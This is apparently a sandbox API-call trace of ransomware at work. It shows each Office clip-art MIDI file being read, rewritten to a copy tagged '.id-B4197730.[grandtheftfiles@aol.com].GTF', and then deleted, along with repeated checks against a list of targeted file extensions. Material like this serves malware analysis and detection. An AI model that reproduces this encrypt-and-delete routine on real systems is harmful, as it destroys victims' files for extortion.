	[0164.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0164.055] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=5843) returned 1
	[0164.056] CloseHandle (hObject=0x540) returned 1
	[0164.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid")) returned 0x220
	[0164.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0164.486] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.487] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0164.516] GetLastError () returned 0x0
	[0164.516] ReadFile (in: hFile=0x548, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x16d3, lpOverlapped=0x0) returned 1
	[0164.576] WriteFile (in: hFile=0x54c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x16e0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x16e0, lpOverlapped=0x0) returned 1
	[0164.577] ReadFile (in: hFile=0x548, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.577] WriteFile (in: hFile=0x54c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.577] SetEndOfFile (hFile=0x54c) returned 1
	[0164.577] CloseHandle (hObject=0x54c) returned 1
	[0164.577] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.577] SetEndOfFile (hFile=0x548) returned 1
	[0164.580] CloseHandle (hObject=0x548) returned 1
	[0164.580] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.580] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid")) returned 1
	[0164.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0164.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0164.581] lstrlenW (lpString=".doc") returned 4
	[0164.581] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.581] lstrlenW (lpString=".docx") returned 5
	[0164.581] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0164.581] lstrlenW (lpString=".pdf") returned 4
	[0164.581] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.581] lstrlenW (lpString=".xls") returned 4
	[0164.581] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.581] lstrlenW (lpString=".xlsx") returned 5
	[0164.581] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0164.581] lstrlenW (lpString=".ppt") returned 4
	[0164.581] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0164.581] lstrlenW (lpString=".zip") returned 4
	[0164.581] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.582] lstrlenW (lpString=".rar") returned 4
	[0164.582] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.582] lstrlenW (lpString=".bz2") returned 4
	[0164.582] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.582] lstrlenW (lpString=".7z") returned 3
	[0164.582] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0164.582] lstrlenW (lpString=".dbf") returned 4
	[0164.582] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0164.582] lstrlenW (lpString=".1cd") returned 4
	[0164.582] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0164.582] lstrlenW (lpString=".jpg") returned 4
	[0164.582] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0164.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0164.582] lstrlenW (lpString=".doc") returned 4
	[0164.582] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.582] lstrlenW (lpString=".docx") returned 5
	[0164.582] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0164.582] lstrlenW (lpString=".pdf") returned 4
	[0164.582] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.582] lstrlenW (lpString=".xls") returned 4
	[0164.582] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.582] lstrlenW (lpString=".xlsx") returned 5
	[0164.582] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0164.582] lstrlenW (lpString=".ppt") returned 4
	[0164.582] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0164.582] lstrlenW (lpString=".zip") returned 4
	[0164.582] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.582] lstrlenW (lpString=".rar") returned 4
	[0164.582] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.582] lstrlenW (lpString=".bz2") returned 4
	[0164.583] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.583] lstrlenW (lpString=".7z") returned 3
	[0164.583] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0164.583] lstrlenW (lpString=".dbf") returned 4
	[0164.583] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0164.583] lstrlenW (lpString=".1cd") returned 4
	[0164.583] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0164.583] lstrlenW (lpString=".jpg") returned 4
	[0164.583] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.583] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0164.583] lstrlenW (lpString="PARNT_09.MID") returned 12
	[0164.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0164.584] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=6764) returned 1
	[0164.584] CloseHandle (hObject=0x548) returned 1
	[0164.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid")) returned 0x220
	[0164.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0164.584] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.584] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0164.614] GetLastError () returned 0x0
	[0164.614] ReadFile (in: hFile=0x548, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x1a6c, lpOverlapped=0x0) returned 1
	[0164.621] WriteFile (in: hFile=0x564, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1a70, lpOverlapped=0x0) returned 1
	[0164.622] ReadFile (in: hFile=0x548, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.622] WriteFile (in: hFile=0x564, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.622] SetEndOfFile (hFile=0x564) returned 1
	[0164.625] CloseHandle (hObject=0x564) returned 1
	[0164.629] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.629] SetEndOfFile (hFile=0x548) returned 1
	[0164.689] CloseHandle (hObject=0x548) returned 1
	[0164.689] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0165.012] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid")) returned 1
	[0165.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0165.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0165.154] lstrlenW (lpString=".doc") returned 4
	[0165.154] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0165.154] lstrlenW (lpString=".docx") returned 5
	[0165.154] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1
	[0165.154] lstrlenW (lpString=".pdf") returned 4
	[0165.154] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0165.154] lstrlenW (lpString=".xls") returned 4
	[0165.154] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0165.154] lstrlenW (lpString=".xlsx") returned 5
	[0165.154] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1
	[0165.154] lstrlenW (lpString=".ppt") returned 4
	[0165.154] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0165.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0165.154] lstrlenW (lpString=".zip") returned 4
	[0165.154] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0165.154] lstrlenW (lpString=".rar") returned 4
	[0165.154] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0165.154] lstrlenW (lpString=".bz2") returned 4
	[0165.154] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0165.154] lstrlenW (lpString=".7z") returned 3
	[0165.154] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0165.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0165.155] lstrlenW (lpString=".dbf") returned 4
	[0165.155] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0165.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0165.155] lstrlenW (lpString=".1cd") returned 4
	[0165.155] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0165.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0165.155] lstrlenW (lpString=".jpg") returned 4
	[0165.155] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0165.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0165.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0165.155] lstrlenW (lpString=".doc") returned 4
	[0165.155] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0165.155] lstrlenW (lpString=".docx") returned 5
	[0165.155] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1
	[0165.155] lstrlenW (lpString=".pdf") returned 4
	[0165.155] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0165.155] lstrlenW (lpString=".xls") returned 4
	[0165.155] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0165.155] lstrlenW (lpString=".xlsx") returned 5
	[0165.155] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1
	[0165.155] lstrlenW (lpString=".ppt") returned 4
	[0165.155] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0165.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0165.155] lstrlenW (lpString=".zip") returned 4
	[0165.155] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0165.155] lstrlenW (lpString=".rar") returned 4
	[0165.155] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0165.155] lstrlenW (lpString=".bz2") returned 4
	[0165.155] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0165.155] lstrlenW (lpString=".7z") returned 3
	[0165.155] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0165.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0165.156] lstrlenW (lpString=".dbf") returned 4
	[0165.156] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0165.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0165.156] lstrlenW (lpString=".1cd") returned 4
	[0165.156] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0165.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0165.156] lstrlenW (lpString=".jpg") returned 4
	[0165.156] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0165.156] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0165.156] lstrlenW (lpString="WNTER_01.MID") returned 12
	[0165.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0165.882] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=6915) returned 1
	[0165.882] CloseHandle (hObject=0x538) returned 1
	[0165.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid")) returned 0x220
	[0165.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0165.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0165.882] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.882] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0165.886] GetLastError () returned 0x0
	[0165.886] ReadFile (in: hFile=0x538, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x1b03, lpOverlapped=0x0) returned 1
	[0165.894] WriteFile (in: hFile=0x560, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1b10, lpOverlapped=0x0) returned 1
	[0165.895] ReadFile (in: hFile=0x538, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.895] WriteFile (in: hFile=0x560, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.895] SetEndOfFile (hFile=0x560) returned 1
	[0165.895] CloseHandle (hObject=0x560) returned 1
	[0165.895] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.895] SetEndOfFile (hFile=0x538) returned 1
	[0165.898] CloseHandle (hObject=0x538) returned 1
	[0165.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0165.898] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid")) returned 1
	[0165.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0165.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0165.899] lstrlenW (lpString=".doc") returned 4
	[0165.899] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0165.899] lstrlenW (lpString=".docx") returned 5
	[0165.899] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0165.899] lstrlenW (lpString=".pdf") returned 4
	[0165.899] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0165.899] lstrlenW (lpString=".xls") returned 4
	[0165.899] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0165.899] lstrlenW (lpString=".xlsx") returned 5
	[0165.899] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0165.899] lstrlenW (lpString=".ppt") returned 4
	[0165.899] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0165.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0165.899] lstrlenW (lpString=".zip") returned 4
	[0165.899] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0165.899] lstrlenW (lpString=".rar") returned 4
	[0165.899] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0165.899] lstrlenW (lpString=".bz2") returned 4
	[0165.899] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0165.899] lstrlenW (lpString=".7z") returned 3
	[0165.899] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0165.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0165.899] lstrlenW (lpString=".dbf") returned 4
	[0165.899] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0165.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0165.899] lstrlenW (lpString=".1cd") returned 4
	[0165.899] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0165.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0165.900] lstrlenW (lpString=".jpg") returned 4
	[0165.900] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0165.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0165.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0165.900] lstrlenW (lpString=".doc") returned 4
	[0165.900] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0165.900] lstrlenW (lpString=".docx") returned 5
	[0165.900] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0165.900] lstrlenW (lpString=".pdf") returned 4
	[0165.900] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0165.900] lstrlenW (lpString=".xls") returned 4
	[0165.900] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0165.900] lstrlenW (lpString=".xlsx") returned 5
	[0165.900] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0165.900] lstrlenW (lpString=".ppt") returned 4
	[0165.900] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0165.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0165.900] lstrlenW (lpString=".zip") returned 4
	[0165.900] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0165.900] lstrlenW (lpString=".rar") returned 4
	[0165.900] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0165.900] lstrlenW (lpString=".bz2") returned 4
	[0165.900] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0165.900] lstrlenW (lpString=".7z") returned 3
	[0165.900] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0165.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0165.900] lstrlenW (lpString=".dbf") returned 4
	[0165.900] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0165.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0165.900] lstrlenW (lpString=".1cd") returned 4
	[0165.900] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0165.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0165.900] lstrlenW (lpString=".jpg") returned 4
	[0165.900] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0165.901] lstrcmpiW (lpString1=".eftx", lpString2=".GTF") returned -1
	[0165.901] lstrlenW (lpString="Grunge Texture.eftx") returned 19
